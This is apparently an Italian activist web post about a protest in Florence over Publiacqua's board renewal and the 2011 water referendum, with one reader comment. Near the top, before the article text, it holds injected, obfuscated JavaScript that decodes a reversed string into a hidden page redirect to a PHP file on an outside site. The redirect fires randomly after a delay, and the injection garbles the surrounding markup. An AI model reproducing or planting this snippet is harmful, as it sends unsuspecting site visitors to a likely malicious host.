Lunedì alle 15 a Firenze presidio sede Publiacqua. Il referendum va rispettato

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2012/12/ACQUA-orizzontale-_piccolo_.jpg”>I comitati per l’acqua bene comune dei territori fiorentino, pratese, pistoiese e aretino ricadenti nella gestione del servizio idrico integrato di Publiacqua spa, stanno seguendo con attenzione la questione del rinnovo del consiglio di amministrazione della stessa. Lunedì 17 dicembre è in programma l’assemblea dei soci che dovrà delineare la composizione degli organi societari per i prossimi anni.

I comitati hanno scritto una lettera a tutti i sindaci che, in qualità di rappresentanti della parte pubblica dei soci di Publiacqua, parteciperanno all’assemblea e che in questa veste dovrebbero portare l’interesse pubblico generale, per chiedere un segnale di coerenza con l’affermazione della volontà espressa nel referendum del 2011 dalla maggioranza dei propri cittadini, di abbandonare la strada della privatizzazione del servizio e la fine immediata delle forme di profitto praticate tramite la tariffa a carico dei cittadini utenti. Per questo motivo i comitati per l’acqua bene comune annunciano un presidio di fronte alla sede di Publiacqua in via Villamagna a Firenze alle ore 15 di lunedì.

I comitati chiedono inoltre come atto di trasparenza verso i cittadini che sia consentita la partecipazione all’assemblea. La gestione di Publiacqua dall’inizio della gestione mista pubblico privata si manifesta oggi in tutti i suoi effetti: utili alle stelle, sulle spalle dei cittadini, distribuiti poi agli azionisti anziché essere destinati agli investimenti. L’unica strada per dare seguito al referendum per l’acqua pubblica del 2011 è intraprendere un percorso di ripubblicizzazione del servizio perché sia creata una forma di gestione pubblica e partecipata in cui sull’acqua non siano più consentiti profitti e speculazioni finanziarie.

Forum toscano dei movimenti per l’acqua

0 Comments

  1. Sara

    Purtroppo a Roma l’acqua è nelle mani di un potente imprenditore edile (Caltagirone) che si è comprato una parte rilevante delle azioni della società che eroga l’acqua. Che vergogna.
    Sara

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